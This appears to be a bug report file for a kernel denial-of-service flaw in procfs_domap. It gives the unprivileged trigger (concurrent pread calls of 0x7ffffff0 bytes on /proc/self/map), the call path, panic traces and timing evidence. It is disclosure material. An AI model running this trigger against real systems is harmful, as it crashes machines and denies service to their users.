DF-0924 / panic.txt
DF-0924 panic signature โ unprivileged DoS via attacker-controlled kmalloc size in procfs_domap
=========================================================================================
Trigger: ./alloc_dos --starve 4 10 (run as unprivileged user maxx, uid 1001)
4 children each loop pread(fd, buf, 0x7ffffff0, 0) against /proc/self/map
-> each call makes procfs_domap kmalloc ~2 GiB (M_SBUF, M_WAITOK|M_ZERO)
-> concurrent in-flight allocations exceed M_SBUF ks_limit -> kernel panic
from kern_kmalloc.c:706 "panic("%s: malloc limit exceeded", ...)".
Path: read(2) -> vn_read -> VOP_READ -> procfs_rw -> procfs_domap
-> sbuf_new(sb, NULL, buflen+1, 0) [buflen = uio_offset+uio_resid, up to INT_MAX-1]
-> sbuf_newbuf -> kmalloc(~2GiB) [sys/kern/subr_sbuf.c:197]
-> panic("sbuf: malloc limit exceeded") [sys/kern/kern_kmalloc.c:706]
Run 1 (single-CPU trace, cleaner) โ from boot.log before reset:
----------------------------------------------------------------
login: pSECONDARY PANIC ON CPU 0 THREAD 0xfffff8008df48f80
anic: sbuf: malloc limit exceeded
cpuid = 4
Trace beginning at frame 0xfffff801183ff598
_kmalloc() at _kmalloc+0xb09 0xffffffff806578c9
_kmalloc() at _kmalloc+0xb09 0xffffffff806578c9
sbuf_new() at sbuf_new+0x66 0xffffffff806a0dc6
procfs_domap() at procfs_domap+0x75 0xffffffff807114a5
procfs_rw() at procfs_rw+0x235 0xffffffff80713065
vop_read() at vop_read+0x57 0xffffffff8070a487
Debugger("panic")
CPU4 stopping CPUs: 0x0000002f
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>
Run 2 (4-CPU concurrent panic โ interleaved serial but same stack):
-------------------------------------------------------------------
login: panic:S ECONDARY PANIC ON CPU 4 THREsAbDu f0:x fmfaflflfo8c0 0l8idm3i1t3 2e0x0c
e
eded
cpuid = 0
Trace beginning at frame 0xfffff801183fb598
_kmalloc() at _kmalloc+0xb09 0xffffffff806578c9
_kmalloc() at _kmalloc+0xb09 0xffffffff806578c9
sbuf_new() at sbuf_new+0x66 0xffffffff806a0dc6
procfs_domap() at procfs_domap+0x75 0xffffffff807114a5
procfs_rw() at procfs_rw+0x235 0xffffffff80713065
vop_read() at vop_read+0x57 0xffffffff8070a487
Debugger("panic")
CPU0 stopping CPUs: 0x0000003e
stopped
Stopped at Debugger+0x7c: movb $0,0xbdaf09(%rip)
db>
Note on the cleaner timing demonstration (run as `./alloc_dos --time`):
----------------------------------------------------------------------
[time] resid=4096 pread=1421 kernel-side elapsed=0.000057 s
[time] resid=0x7ffffff0 pread=1615 kernel-side elapsed=2.532421 s
The huge-resid call returns the SAME ~1.5 KB of /proc/self/map content
but takes ~44,000x longer because the kernel kmalloc+zero's ~2 GiB up
front, then discards almost all of it. This proves the size of the
up-front kernel allocation is controlled solely by the caller's read()
length โ the bug.